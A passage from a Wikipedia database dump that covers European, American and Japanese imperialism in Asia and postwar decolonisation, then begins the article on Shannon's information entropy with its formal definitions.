By the beginning of the twentieth century France had created an empire in Indochina nearly 50 percent larger than the mother country. A governor-general in [[Hanoi]] ruled [[Cochin China]] directly and the other regions through a system of residents. Theoretically, the French maintained the precolonial rulers and administrative structures in [[Annam]], [[Tonkin]], [[Cambodia]], and [[Laos]], but in fact the governor-generalship was a centralized fiscal and administrative regime ruling the entire region. Although the surviving native institutions were preserved in order to make French rule more acceptable, they were almost completely deprived of any independence of action. The ethnocentric French colonial administrators sought to assimilate the upper classes into France's &quot;superior culture.&quot; While the French improved public services and provided commercial stability, the native standard of living declined and precolonial social structures eroded. Indochina, which had a population of over eighteen million in [[1914]], was important to France for its [[tin]], [[black pepper|pepper]], [[coal]], [[cotton]], and [[rice]]. It is still a matter of debate, however, whether the colony was commercially profitable.

==Russia and &quot;The Great Game&quot;==
{{main article|[[The Great Game]]}}

[[Imperial Russia|Tsarist Russia]] is often not regarded as a colonial power such as Britain or France because of the manner of Russian expansions: unlike Britain, which expanded overseas, the Russian empire grew from the center outward by a process of accretion. In the 19th century Russian expansion took the form of a struggle of an effectively landlocked country for access to a warm water port. 

While the British were consolidating their hold on India, Russian expansion had moved steadily eastward to the Pacific, then toward the Middle East, and finally to the frontiers of [[Iran|Persia]] and [[Afghanistan]] (both territories adjacent to British holdings in India). In response, the defense of India's land frontiers and the control of all sea approaches to the subcontinent via the [[Suez Canal]], the [[Red Sea]], and the [[Persian Gulf]] became preoccupations of British foreign policy in the 19th century.

Anglo-Russian rivalry in the Middle East and Central Asia led to a brief confrontation over [[Afghanistan]] in the [[1880]]s. In Persia (now [[Iran]]), both nations set up banks to extend their economic influence. Britain went so far as to invade Tibet, a land under nominal Chinese suzerainty, in 1904, but withdrew when it became clear that Russian influence was insignificant and when Chinese resistance proved tougher than expected. 

In [[1907]] Britain and Russia signed an agreement which—on the surface—ended their rivalry in Central Asia. (''see'' [[Anglo-Russian Entente]]) As part of the entente, Russia agreed to deal with the sovereign of Afghanistan only through British intermediaries. In turn Britain would not annex or occupy Afghanistan. Chinese suzerainty over Tibet also was recognized by both Russia and Britain, since nominal control by a weak China was preferable to control by either power. Persia was divided into Russian and British spheres of influence and an intervening &quot;neutral&quot; zone. Britain and Russia chose to reach these uneasy compromises because of growing on the part of both powers of German expansion in strategic areas of China and Africa.

Following the entente, Russia increasingly intervened in Persian domestic politics and suppressed nationalist movements that threatened both Moscow and London. After the [[Russian Revolution of 1917|Russian Revolution]], Russia gave up its claim to a sphere of influence, though Soviet involvement persisted alongside Britain's until the [[1940s]]. 

In the [[Middle East]], a German company built a railroad from [[Constantinople]] to [[Baghdad]] and the [[Persian Gulf]]. [[Germany]] wanted to gain economic influence in the region and then, perhaps, move on to Iran and India. This was met with bitter resistance by Britain, Russia, and France who divided the region among themselves.

==Imperialism in China==
===Imperialist penetration of China===
[[Image:China_imperialism_cartoon.jpg|left|200px|thumb|A shocked mandarin in [[Manchu]] robe in the back, with [[Victoria of the United Kingdom|Queen Victoria]] ([[United Kingdom|UK]]), [[Wilhelm II of Germany|Wilhelm II]] ([[Germany]]), [[Nicholas II of Russia|Nicholas II]] ([[Russia]]), [[Marianne]] ([[France]]), and a [[samurai]] ([[Japan]]) stabbing into a plate with ''Chine'' (&quot;[[China]]&quot; in [[French language|French]]) written on it]]

''See [[European Enclaves in China]]''

During the 18th century merchants from Western Europe came to China in increasing numbers. However, merchants were confined to Guangzhou and the Portuguese colony of Macao, as they had been since the 16th century. European trades were increasingly irritated by what they saw as the relatively high customs duties they had to pay and by the attempts to curb the growing import trade in [[opium]]. By 1800 its importation was forbidden by the imperial government. However, the opium trade continued to boom. Private vessels sailing from many countries, including the United States, made huge profits from the growing number of Chinese opium addicts.

Early in the 19th century serious internal weaknesses developed in the [[Qing dynasty|Manchu empire]] that left China vulnerable to Western, Japanese, and Russian imperialism. In [[1839]] China found itself fighting the [[First Opium War]] with Britain. China was defeated, and in [[1842]] agreed to the provisions of the [[Treaty of Nanjing]]. [[Hong Kong]] was ceded to Britain, and certain ports, including [[Shanghai]] and [[Guangzhou]], were opened to British trade and residence. In [[1856]] the [[Second Opium War]] broke out. The Chinese were again defeated, and now forced to the terms of the [[1858]] [[Treaty of Tientsin]].  The treaty opened new ports to trade and allowed foreigners to travel in the interior. Christians gained the right to propagate their religion—another means of Western penetration. The United States and Russia later obtained the same prerogatives in separate treaties.

Toward the end of the 19th century, China appeared on the way to territorial dismemberment and economic vassalage—the fate of India’s rulers that played out much earlier. Several provisions of these treaties caused long-standing bitterness and humiliation among the Chinese: [[extraterritoriality]] (meaning that in a dispute with a Chinese, a Westerner had the right to be tried in a court under the laws of his own country), customs regulation, and the right to station foreign warships in Chinese waters.

The rise of Japan since the [[Meiji Restoration]] as an imperialist power led to further subjugation of China. In a dispute over China's longstanding claim of suzerainty in [[Korea]], war broke out between China and Japan, resulting in humiliating defeat for China. By the [[Treaty of Shimonoseki]] ([[1895]]), China was forced to recognize effective Japanese rule of Korea and [[Taiwan]].

China's defeat at the hands of Japan was another trigger for future aggressive actions by Western powers. In [[1897]] Germany demanded and was given a set of exclusive mining and railroad rights in [[Shandong]] province. Russia obtained access to [[Dairen]] and [[Port Arthur]] and the right to build a railroad across Manchuria, thereby achieving complete domination over a large portion of northwestern China. Britain and France also received a number of concessions at this time. At this time much of China was divided up into &quot;spheres of influence&quot;: Germany dominated [[Jiaozhou Bay|Jiaozhou (Kiaochow) Bay]], [[Shandong]], and the [[Huang He]] (Hwang-Ho) valley; Russia dominated the [[Liaodong Peninsula]] and [[Manchuria]]; Britain dominated [[Weihaiwei]] and the [[Yangtze River|Yangtze]] Valley; and France dominated the [[Guangzhou Bay]] and several other southern provinces.

China continued to be divided up into spheres of influence until the United States, which had no sphere of influence, grew alarmed at the possibility of its businessmen being excluded from Chinese markets. In [[1899]] [[Secretary of State]] [[John Hay]] asked the major powers to agree to a policy of equal trading privileges. In 1900 several powers agreed to the U.S.-backed scheme, giving rise to the &quot;[[Open Door]]&quot; policy, denoting freedom of commercial access and non-annexation of Chinese territory. In any event, it was in the European powers' interest to have a weak but independent Manchu government. The privileges of the Europeans in China were guaranteed in the form of treaties with the Qing government. In the event that the Qing government totally collapsed, each power risked losing the privileges that it already had negotiated.  As such, nor was it in the interest of the Europeans to have an overly strong government in China, with the ability to control Westerners and renegotiate treaties.

The erosion of Chinese sovereignty contributed to a spectacular anti-foreign outbreak in June, [[1900]], when the &quot;[[Boxers]]&quot; (properly the society of the &quot;righteous and harmonious fists&quot;) attacked European legations in [[Beijing]], provoking a rare display of unity among the powers, whose troops landed at [[Tianjin]] and marched on the capital. German forces were particularly severe in exacting revenge for the killing of their ambassador, while Russia tightened its hold on [[Manchuria]] in the northeast until its crushing defeat by Japan in the war of [[1904]]-[[1905]]. 

Although extraterritorial jurisdiction was abandoned by Britain and America in [[1943]], foreign political control of parts of China only finally ended with the incorporation of [[Hong Kong]] and the small Portuguese territory of [[Macau]] into the [[People's Republic of China]] in [[1997]] and [[1999]] respectively.

===Chinese territorial expansion===
While China was under attack in the 19th century by the Europeans, during the 18th century the Qing government had expanded its western borders to include areas such as [[Xinjiang]] and [[Tibet]] that had historically rarely been under direct Chinese control. Indeed the name ''Xinjiang'' itself is Chinese for ''new territory''.

The ability of Qing China to project power into [[Central Asia]] came about because of two changes, one social and one technological.  The social change was that under the Qing dynasty, from [[1616]], China came under the control of the [[Manchu]]s who organized their military forces around cavalry which was more suited for [[power projection]] than traditional Chinese infantry.  The technological change was advances in [[cannon]] and [[artillery]] which negated the military advantage that the people of the [[steppe]] had with their cavalry.

Qing actions in Central Asia were aided by the preference of most local rulers (particularly in Tibet) for the relative light touch of Manchu control over the heavy-handedness of Russia or the British.  The Manchus were from Central Asia themselves and ruled China with the support of many people from Mongolia, Tibet and Xinjiang.  The Manchu ruling family, like most Mongols, was a supporter of Tibetan Buddhism and so many of the ruling groups were linked by religion. China most of the time had little ambitions to conquer or establish colonies, not even during its golden years during the [[Tang Dynasty]] or when it had the world's strongest and biggest fleet during the [[Ming Dynasty]]. Rather, Chinese immigrated overseas to areas outside the control of their government.  For instance, numerous southern Chinese emigrants settled in areas of Southeast Asia outside Chinese political control; to this day their descendants remain an economic elite, especially in [[Malaysia]] and [[Singapore]]. A state founded by Chinese immigrants in South-east Asia, the [[Lanfang Republic]], was arguably the first [[republic]] in [[Asia]].

==U.S. Imperialism in the Pacific==
{{main article|[[History of United States overseas expansion]]}}
[[Image:Filipinoinsurgents.jpg|thumb|1899 photo of Filipino insurgents killed in the [[Philippine-American War]]]]

As the United States emerged as a new imperialist power in the Pacific, one of the two oldest Western imperialist powers in the region—Spain—was finding it increasingly difficult to maintain control of territories it had held in the region since the 16th century. In [[1896]] a widespread revolt against Spanish rule broke out in the Philippines. Meanwhile, the recent string of U.S. territorial gains in the Pacific perhaps posed an even greater threat to Spain's remaining colonial holdings.

In [[1867]] the [[Midway Islands]] were occupied by the U.S. and [[Alaska]] was purchased from Russia. The next advance was in the [[Hawaiian Islands]], where Europeans had earlier set up a lucrative [[plantation]] economy exporting sugar. In the 19th century U.S. capital poured into the islands' sugar industry; and Hawaii came increasingly under the effective control of U.S. corporations. The U.S. consolidated its influence in Hawaii in 1893, when [[U.S. Marines]] engineered a revolt that deposed the Hawaiian queen and set up a new U.S.-backed regime. Five years later, the U.S. scrapped the republic and annexed the islands.

As the U.S. continued to expand its economic and military power in the Pacific, it declared war against Spain in [[1898]]. During the [[Spanish-American War]], U.S. Admiral Dewey destroyed the Spanish fleet at [[Manila]], and U.S. troops landed in the Philippines. Spain later agreed by treaty to cede the Philippines and [[Guam]] in the Pacific. In the Caribbean, Spain ceded [[Puerto Rico]] to the U.S. The war also marked the end to Spanish rule in Cuba, which was to be  granted nominal independence but in practice be treated as de-facto U.S. colony. One year following its treaty with Spain, the U.S. occupied the small Pacific outpost of [[Wake Island]].

Some of the Filipino nationalists who has assisted U.S. troops against the Spanish did not wish to see one colonial master changed with another. In 1899 fighting broke out; and it took the U.S. three years to crush the rebellion. The U.S. sent seventy thousand troops and suffered thousands of casualties. For the Filipinos the death rate was considerably higher, both from battle casualties, extra-judicial executions and disease. 

U.S. attacks into the countryside often included scorched earth campaigns where entire villages were burned and destroyed, tortured, and concentrated into camps known as &quot;protected zones.&quot; Many of these civilian casualties resulted from disease and famine. Reports of the execution of U.S. soldiers taken prisoner by the Filipinos led to disproportionate reprisals by American forces. Many U.S. officers and soldiers called the war a &quot;[[nigger_(word)|nigger]] killing business.&quot;

In [[1914]], [[Dean C. Worcester]], U.S. Secretary of the Interior for the Philippines ([[1901]]-[[1913]]) described &quot;the regime of civilization and improvement which started with American occupation and resulted in developing naked savages into cultivated and educated men.&quot; Nevertheless, some Americans deeply opposed American involvement in the Philippines, leading to the abandonment of attempts to construct a permanent naval base and using it as an entry point to the Chinese market. In [[1916]] Congress guaranteed the independence of the Philippines by 1945.

The consequences of U.S. Imperialism in the Pacific were to become a major and costly facet of U.S. life in the 20th century, with massive conflicts with Japan, Korea, and Vietnam laying in the future. Whether such involvement was essential to U.S. national interests became a poignant and at times painful dialogue in the late [[1960s]].

==World War I: Changes in Imperialism==

World War I brought about the fall of several empires in Europe. This had repercussions around the world. The defeated[[Central Powers]] included [[Germany]] and the Turkish [[Ottoman Empire]]]. [[Germany]] lost all of its colonies in Asia. German New Guinea, a part of [[Papua New Guinea]], became administered by [[Australia]]. German possessions and concessions in [[China]], including [[Qingdao]], became the subject of a controversy during the [[Paris Peace Conference, 1919|Paris Peace Conference]] when the [[Beiyang Army|Beiyang]] government in China agreed to cede these interests to [[Japan]], to the anger of many Chinese people. Although the Chinese diplomats refused to sign the agreement, these interests were ceded to [[Japan]] with the support of the [[United States]] and [[Britain]].

[[Turkey]] gave up her [[Arab]] provinces; [[Syria]], [[Palestine (region)|Palestine]], and [[Mesopotamia]] (now [[Iraq]]) came under French and British control as [[League of Nations Mandates]]. The discovery of [[petroleum]] first in [[Iran]] and then in the Arab lands in the interbellum provided a new focus for activity on the part of Britain, France, and the [[United States]].

==Japan==
{{cleanup-date|November 2005}}

In [[1641]], all Westerners were thrown out of Japan. For the next two centuries, Japan was free from Western influence, except for at the port of [[Nagasaki]], which Japan allowed Dutch merchant vessels to enter on a limited basis.

Japan's freedom from Western penetration ended on [[July 8]], [[1853]], when [[Commodore Perry]] of the [[U.S. Navy]] sailed a squadron of black-hulled war ships into Edo (modern Tokyo) harbor. The Japanese told Perry to sail to Nagasaki but he refused. Perry sought to present a letter from U.S. President [[Millard Fillmore]] to the emperor which demanded concessions from Japan. Japanese authories responded by stating that they could not present the letter directly to the emperor, but scheduled a meeting on [[July 14]] with a representative of the emperor. On July 14, the squadron sailed towards the shore, giving a demonstration of their cannon's firepower thirteen times. Perry landed with a large detachment of Marines and presented the emperor's representative with Fillmore's letter. Perry said he would return, and did so, this time with even more war ships. The U.S. show of force led to Japan's concession to the [[Convention of Kanagawa]] on [[March 31]], [[1854]]. These events made Japanese authorities aware of the fact that the country had fallen behind the Western powers  technologically and needed to industrialize in order to keep their autonomy. This realization ultimately led to the [[Meiji Restoration]].

The Meiji Restoration of 1868 led to administrative modernization and subsequent rapid economic development. Japan had little natural resources of her own and needed both overseas markets and sources of raw materials, fuelling a drive for imperial conquest which began with the defeat of China in 1895.

Taiwan, ceded by the Qing Empire, became the first Japanese colony. In 1899 Japan won agreement from the [[great powers]]' to abandon extra-territoriality, and an alliance with Britain established it in 1902 as an international power. Its spectacular defeat of Russia in 1905 gave it the southern portion of the island of [[Sakhalin]], the former Russian lease of the [[Liaodong Peninsula]] with Port Arthur ([[Lüshunkou]]), and extensive rights in [[Manchuria]] (see the [[Russo-Japanese War]]). In 1910, Korea was annexed to the Japanese empire.

Japan was now one of the most powerful forces in the [[Far East]], and in 1914 it entered [[World War I]] on the side of Britain, seizing German-occupied [[Jiaozhou Bay|Kiaochow]] and subsequently demanding Chinese acceptance of Japanese political influence and territorial acquisitions ([[Twenty-One Demands]], 1915). [[May Fourth Movement|Mass protests in Peking]] in 1919 coupled with Allied (and particularly U.S.) opinion led to Japan's abandonment of most of the demands and Jiaozhou's return (1922) to China. 

Japan's rebuff was perceived in Tokyo as only temporary, and in 1931 Japanese army units based in Manchuria seized control of the region; full-scale war with China followed in 1937, drawing Japan toward an overambitious bid for Asian hegemony ([[Greater East Asia Co-Prosperity Sphere]]), which ultimately led to defeat and the loss of all its overseas territories after World War II (see [[Japanese expansionism]] and [[Japanese nationalism]]).

==Postwar era==
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===Decolonization and the rise of nationalism in Asia===

In the aftermath of the Second World War, European colonies, controlling more than one billion people throughout the world, still ruled most of the Middle East, Southeast Asia, and South Asia. However, the image of European preeminence was shattered by the wartime Japanese occupations of large portions of British, French, and Dutch territories in the Pacific. The destabilization of European rule led to the rapid growth of nationalist movements in Asia—especially in [[Indonesia]], [[Malaya]], [[Burma]], and French Indochina.

The war, however, only accelerated forces already in existence undermining Western imperialism in Asia. Throughout the colonial world, the processes of urbanization and capitalist investment created professional merchant classes that emerged as new Westernized elites. While imbued with Western political and economic ideas, these classes increasingly grew to resent their unequal status under European rule.  

====The British in South Asia and the Middle East====
{{sect-stub}}
In India, the westward movement of Japanese forces toward Bengal had led to major concessions on the part of British authorities to Indian nationalist leaders. In [[1947]], Britain, devastated by war and embroiled in economic crisis at home, granted the subcontinent its independence as two nations: [[India]] and [[Pakistan]]. The following year independence was granted to Burma and [[Ceylon]].

In the Middle East, Britain granted independence to [[Jordan]] in [[1946]] and two years later ended its mandate of Palestine, an action that led to the creation of the state of [[Israel]] and decades of bitter wars between this new nation and the Arab world continuing to this day. (''see'' [[Arab-Israeli conflict]])

====The Dutch East Indies ====

Following the end of the war, nationalists in [[Indonesia]] demanded complete independence from the Netherlands. A brutal conflict ensued, and finally, in 1949, through [[United Nations]] mediation, the Dutch East Indies achieved independence, becoming the new nation of Indonesia. Dutch imperialism molded this new multi-ethnic state comprising roughly 3,000 islands of the Indonesian archipelago with a population at the time of over 100 million. 

The end of Dutch rule opened up latent tensions between the roughly 300 distinct ethnic groups of the islands, with the major ethnic fault line being between the [[Javanese]] and the non-Javanese. 

====The United States in the Pacific====
In the Philippines, the U.S. remained committed to its previous pledges to grant the grant the islands their independence, but on its own terms. The Philippines remained under pressure to adopt a political and economic system derived from their old imperial masters.

This aim was greatly complicated by the rise of new political forces. During the war, the ''[[Hukbalahap]]'' (People's Army), which had strong ties to the [[Communist Party of the Philippines]] (PKP), fought against the Japanese occupation of the Philippines and won strong popularity among many sectors of the Filipino working class and peasantry. In [[1946]], the PKP participated in elections as part of the Democratic Alliance. But with the onset of the [[Cold War]], its growing political strength drew a reaction from the ruling government and the United States, resulting in the repression of the PKP and its associated organizations. In [[1948]], the PKP began organizing an armed struggle against the government and continued U.S. military presence. In [[1950]], the PKP created the People's Liberation Army (''Hukbong Mapagpalaya ng Bayan''), which mobilized thousands of troops throughout the islands.  The insurgency lasted until [[1956]], when the PKP gave up armed struggle.

In [[1968]], the PKP underwent a split, and in 1969 the [[Maoist]] faction of the PKP created the [[New People's Army]]. Maoist rebels re-launched an armed struggle against the government and the U.S. military presence in the Philippines, which continues to this day. 

====France in Indochina====
=====Postwar resistance to French rule=====
France remained determined to retain its control of Indochina. However, in [[Hanoi]], in 1945, a broad front of nationalists and socialists led by [[Ho Chi Minh]] established an independent Republic of Vietnam, commonly referred to as the [[Vietminh]] regime by Western outsiders. France, seeking to regain control of Vietnam, countered with a vague offer of self-government under French rule. France's offers were unacceptable to Vietnamese nationalists; and in December [[1946]] war broke out between France and the Vietminh. Meanwhile, the French managed to set up a puppet regime in [[Saigon]] in 1950. The U.S. then recognized the regime in Saigon, and provided the French military effort massive military aid.

The French were also forced to deal with resistance in Cambodia. In 1945, Cambodia declared gained its independence as the [[Kingdom of Kampuchea]], with [[Sihanouk]] installed as monarch and [[Son Ngoc Thanh]] acting as prime minister. The French wanted to reassert control, but were unable to act at the time. Braitain supported France's efforts to reassert its control of Cambodia, but were unable to act. Britain supported Frence's attempts to reassert its influence in Cambodia. On [[October 8]], [[1945]], the British arrived in [[Phnom Penh]] with a detachment of [[Nepal]]i [[Gurkhas]]. Thanh was arrested; and the government was overthrown, with the French put back in charge.

Later, anticolonial militants retreated into the countryside and formed armed groups known as the ''[[Khmer Issarak]]'' (&quot;Khmer Independence&quot;). They operated initially along the border with [[Thailand]] and were assisted by the Thai government. In the countryside, French forces fought the Khmer Issarak. However, the French were not able to fully regain their control of Cambodia. On [[April 17]], [[1950]] the first national conference of the Khmer resistance was held and the [[United Issarak Front]] was created, with [[Son Ngoc Minh]] at the head. Sihanouk demanded sovereignty from the French and on [[November 9]], [[1953]], Cambodia was granted independence.

Meanwile, in Vietnam, the French's war against the Vietminh regime, begun in 1946, continued for nearly eight years. The French were gradually worn down by guerrilla and jungle fighting. The turning point for France occurred at [[Dien Bien Phu]] in [[1954]], which resulted in the surrender of ten thousand French troops. Paris was forced to accept a political settlement that year at the [[Geneva Conference]], which led to a precarious set of agreements regarding the future political status of Laos, Cambodia, and Vietnam.

=====Postcolonialism and the Vietnam War=====
{{sect-stub}}
As France washed its hands of Indochina, the U.S. moved into France's old role in supporting the pro-Western Saigon regime.

=====Postcolonialism and war in Cambodia=====
The U.S. also became involved in Cambodia's domestic politics. The U.S. became increasingly unhappy with Sihanouk because of his [[Non-Aligned Movement|non-aligned]] stance in the [[Cold War]] and the war between the Saigon and Hanoi regimes in Vietnam.

The U.S. supported a coup by [[Lon Nol]] against Sihanouk in [[1970]]. U.S. armed forces then entered Cambodia from the Vietnam-Cambodia border. However, massive protest by students and workers in the U.S. forced the US to withdraw its land forces from Cambodia. Sihanouk declared Lon Nol's government illegitimate and formed a government-in-exile in [[Beijing]] known as the [[Royal Government of the National Union of Kampuchea]] (GRUNK) and a political coalition in Cambodia known as the [[National United Front of Kampuchea]] (FUNK), which in turn was aligned with the [[Cambodian People's National Liberation Armed Forces]] (CPNLAF). The U.S. Air Force attacked the base of the CPNLAF, the Cambodian countryside, dropping hundreds of thousands of tons of bombs, killing many people. By [[1975]], the CPNLAF had defeated Lon Nol's army and on [[April 17]], 1975 the CPNLAF entered Phnom Penh and ousted Lon Nol's regime. However, the loose coalition behind CPNLAF proved unable to establish itself as a stable postcolonial regime; the ensuring [[Cambodian Civil War]] resulted in decades of politcal turmoil and the emergence of the [[Khmer Rouge]], making Cambodia the stage to one of the bloodiest conflicts in the [[20th century]].

==List of European colonial acquisitions in Asia==
{{cleanup-date|November 2005}}

*[[India]] - French, Dutch and British before British expanded control in [[1757]].  
*[[Sri Lanka]]- conquered by [[Portugal]] ([[1505]]), The [[Netherlands]] (1644), and then [[Kingdom of Great Britain|Britain]] ([[1796]]). It had [[tea]] and [[rubber]].
*[[Macau]] - Portuguese colony, first European colony in China ([[1557]]-[[1999]]).
*[[Taiwan]]- Portuguese, Dutch (1624 - 1662).
*[[Hong Kong]] - British colony from [[1841]] to [[1997]].
*[[Malaya]]- Portuguese, then Dutch (1644-1824), then British; rich in tin and rubber.
*[[Singapore]] - British since [[1819]]. 
*[[Burma]] - merged with [[India]] by the British from 1886 to 1937. In 1880, the French built a railroad from [[Tonkin]] to [[Mandalay]]: fearing a French conquest, the British went to war with Burma. The Burmese king was captured and sent to India during the war.
*[[Indonesia]] Dutch colony from 1602 - 1949. (Netherlands New Guinea; 1962)
*[[Indo-China]] - French; including [[Laos]], [[Cambodia]], and [[Vietnam]]; successive revolts were &quot;pacified&quot;. Granted independence in 1954. 
*[[Thailand]] - nominally independent, but subject to British and French influence.
*[[Philippines]] - Spanish until revolt of 1896, then acquired by the U.S. after the [[Spanish-American War]] of 1898 for $20 million.
*[[Korea]] -  Subject to Russian influence until [[1905]] (See Russo-Japanese War).

==See also==
* [[Imperialism]]
* [[New Imperialism]]
* [[Colonialism]]

==References and further reading==

* Erik Ringmar, [http://ringmar.net/europeanfury/ ''Fury of the Europeans: Liberal Barbarism and the Destruction of the Emperor's Summer Palace'']

[[Category:History of Asia]]
[[Category:New Imperialism]]

[[th:ลัทธิจักรวรรดินิยมในเอเชีย]]</text>
    </revision>
  </page>
  <page>
    <title>Information entropy</title>
    <id>15445</id>
    <revision>
      <id>41665107</id>
      <timestamp>2006-02-28T22:53:53Z</timestamp>
      <contributor>
        <ip>70.19.47.168</ip>
      </contributor>
      <comment>/* Basic concept */</comment>
      <text xml:space="preserve">[[Image:Binary entropy plot.png|thumbnail|right|200px|Entropy of a [[Bernoulli trial]] as a function of success probability.]]

'''Entropy''' is a concept in [[thermodynamics]] (see [[thermodynamic entropy]]), [[statistical mechanics]] and [[information theory]].  The concepts of information and entropy have deep links with one another, although it took many years for the development of the theories of [[statistical mechanics]] and [[information theory]] to make this apparent. This article is about '''information entropy''', the information-theoretic formulation of [[entropy]]. Information entropy is occasionally called '''Shannon's entropy''' in honor of [[Claude E. Shannon]].

==Basic concept==

The basic concept of entropy in [[information theory]] has to do with how much [[randomness]] (or, alternatively, 'uncertainty') there is in a signal or random event.  An alternative way to look at this is to talk about how much information is carried by the signal. 

As an example consider some [[English language|English]] text, encoded as a string of [[letter (alphabet)|letters]], spaces, and [[punctuation]] (so our signal is a string of characters).  Since some characters are not very likely (e.g. 'z') while others are very common (e.g. 'e') the string of characters is not really as random as it might be.  On the other hand, since we cannot predict what the next character will be: it is, to some degree, 'random'.  Entropy is a measure of this randomness, suggested by Shannon in his [[1948]] paper [http://cm.bell-labs.com/cm/ms/what/shannonday/paper.html A Mathematical Theory of Communication].

Shannon offers a definition of entropy which satisfies the assumptions that:

* The measure should be proportional (continuous) - i.e. changing the value of one of the probabilities by a very small amount should only change the entropy by a small amount.
* If all the outcomes (letters in the example above) are equally likely then increasing the number of letters should always increase the entropy. 
* We should be able to make the choice (in our example of a letter) in two steps, in which case the entropy of the final result should be a weighted sum of the entropies of the two steps.

(Note: Shannon/Weaver make reference to [[Tolman]] ([[1938]]) who in turn credits [[Pauli]] ([[1933]]) with the definition of entropy that is used by Shannon. Elsewhere in statistical mechanics, the literature includes references to [[von Neumann]] as having derived the same form of entropy in [[1927]], so it was that von Neumann favoured the use of the existing term 'entropy'. )

==Formal definitions==

[[Claude E. Shannon]] defines entropy in terms of a discrete random event ''x'', with possible states (or outcomes) 1..''n'' as:

::&lt;math&gt;H(x)=\sum_{i=1}^np(i)\log_2 \left(\frac{1}{p(i)}\right)=-\sum_{i=1}^np(i)\log_2 p(i).\,\!&lt;/math&gt;

That is, the entropy of the event ''x'' is the sum, over all possible outcomes ''i'' of ''x'', of the product of the probability of outcome ''i'' times the log of the inverse of the probability of ''i'' (which is also called ''i'''s ''[[surprisal]]'' - the entropy of ''x'' is the expected value of its outcome's surprisal). We can also apply this to a general [[probability distribution]], rather than a discrete-valued event.

Shannon shows that any definition of entropy satisfying his assumptions will be of the form:

::&lt;math&gt;-K\sum_{i=1}^np(i)\log p(i).\,\!&lt;/math&gt;

where ''K'' is a constant (and is really just a choice of measurement units).

Shannon defined a measure of entropy (''H'' = &amp;minus; ''p&lt;sub&gt;1&lt;/sub&gt;'' log&lt;sub&gt;2&lt;/sub&gt; ''p&lt;sub&gt;1&lt;/sub&gt;'' &amp;minus; &amp;hellip; &amp;minus; ''p&lt;sub&gt;n&lt;/sub&gt;'' log&lt;sub&gt;2&lt;/sub&gt; ''p&lt;sub&gt;n&lt;/sub&gt;'') that, when applied to an information source, could determine the minimum channel capacity required to reliably transmit the source as encoded binary digits. The formula can be derived by calculating the mathematical expectation of the ''amount of information'' contained in a digit from the information source. Shannon's entropy measure came to be taken as a measure of the uncertainty about the realization of a random variable. It thus served as a proxy capturing the concept of information contained in a message as opposed to the portion of the message that is strictly determined (hence predictable) by inherent structures. For example, redundancy in language structure or statistical properties relating to the occurrence frequencies of letter or word pairs, triplets etc. See [[Markov chain]].

Shannon's definition of entropy is closely related to [[thermodynamic entropy]] as defined by physicists and many chemists. [[Ludwig Boltzmann|Boltzmann]] and [[Willard Gibbs|Gibbs]] did considerable work on statistical thermodynamics, which became the inspiration for adopting the word ''entropy'' in information theory. There are relationships between thermodynamic and informational entropy. In fact, in the view of [[Edwin Thompson Jaynes|Jaynes]] ([[1957]]), thermodynamics should be seen as an ''application'' of Shannon's information theory: the thermodynamic entropy is interpreted as being an estimate of the amount of further Shannon information (needed to define the detailed microscopic state of the system) that remains uncommunicated by a description solely in terms of the macroscopic variables of classical thermodynamics. (See article: ''[[MaxEnt thermodynamics]]'').  Similarly, [[Maxwell's demon]] reverses thermodynamic entropy with information; but if it is itself bound by the laws of thermodynamics, getting rid of that information exactly balances out the thermodynamic gain the demon would otherwise achieve.

It is important to remember that entropy is a quantity defined in the context of a probabilistic model for a data source. Independent fair coin flips have an entropy of 1 bit per flip. A source that always generates a long string of A's has an entropy of 0, since the next character will always be an 'A'.

The entropy rate of a data source means the average number of [[bit]]s per symbol needed to encode it. Empirically, it seems that entropy of English text is between 1.1 and 1.6 bits per character, though clearly that will vary from text source to text source. Experiments with human predictors show an information rate of 1.1 or 1.6 bits per character, depending on the experimental setup; the [[PPM compression algorithm]] can achieve a compression ratio of 1.5 bits per character.

From the preceding example, note the following points:

# The amount of entropy is not always an integer number of bits.
# Many data bits may not convey information. For example, data structures often store information redundantly, or have identical sections regardless of the information in the data structure.

Entropy effectively bounds the performance of the strongest lossless (or nearly lossless) compression possible, which can be realized in theory by using the [[typical set]] or in practice using [[Huffman coding| Huffman]], [[LZW|Lempel-Ziv]] or [[arithmetic coding]]. The performance of existing data compression algorithms is often used as a rough estimate of the entropy of a block of data.

A common way to define entropy for text is based on the [[Markov model]] of text. For an order-0 source (each character is selected independent of the last characters), the binary entropy is:

:&lt;math&gt;H(\mathcal{S}) = - \sum p_i \log_2 p_i, \,\!&lt;/math&gt;

where ''p''&lt;sub&gt;''i''&lt;/sub&gt; is the probability of ''i''. For a first-order [[Markov chain|Markov source]] (one in which the probability of selecting a character is dependent only on the immediately preceding character), the '''entropy rate''' is:

:&lt;math&gt;H(\mathcal{S}) = - \sum_i p_i \sum_j  \  p_i (j) \log_2 p_i (j), \,\!&lt;/math&gt;

where ''i'' is a state (certain preceding characters) and &lt;math&gt;p_i(j)&lt;/math&gt; is the probability of &lt;math&gt;j&lt;/math&gt; given &lt;math&gt;i&lt;/math&gt; as the previous character (s).

For a second order Markov source, the entropy rate is

:&lt;math&gt; H(\mathcal{S}) = -\sum_i p_i \sum_j p_i(j) \sum_k p_{i,j}(k)\ \log \  p_{i,j}(k). \,\!&lt;/math&gt;

In general the '''&lt;i&gt;b&lt;/i&gt;-ary entropy''' of a source &lt;math&gt;\mathcal{S}&lt;/math&gt; = (''S'',''P'') with [[source alphabet]] ''S'' = {''a''&lt;sub&gt;1&lt;/sub&gt;, &amp;hellip;, ''a&lt;sub&gt;n&lt;/sub&gt;''} and [[discrete probability distribution]] ''P'' = {''p''&lt;sub&gt;1&lt;/sub&gt;, &amp;hellip;, ''p&lt;sub&gt;n&lt;/sub&gt;''} where ''p&lt;sub&gt;i&lt;/sub&gt;'' is the probability of ''a&lt;sub&gt;i&lt;/sub&gt;'' (say ''p&lt;sub&gt;i&lt;/sub&gt;'' = ''p''(''a&lt;sub&gt;i&lt;/sub&gt;'')) is defined by:

:&lt;math&gt; H_b(\mathcal{S}) = - \sum_{i=1}^n p_i \log_b p_i \,\!&lt;/math&gt;

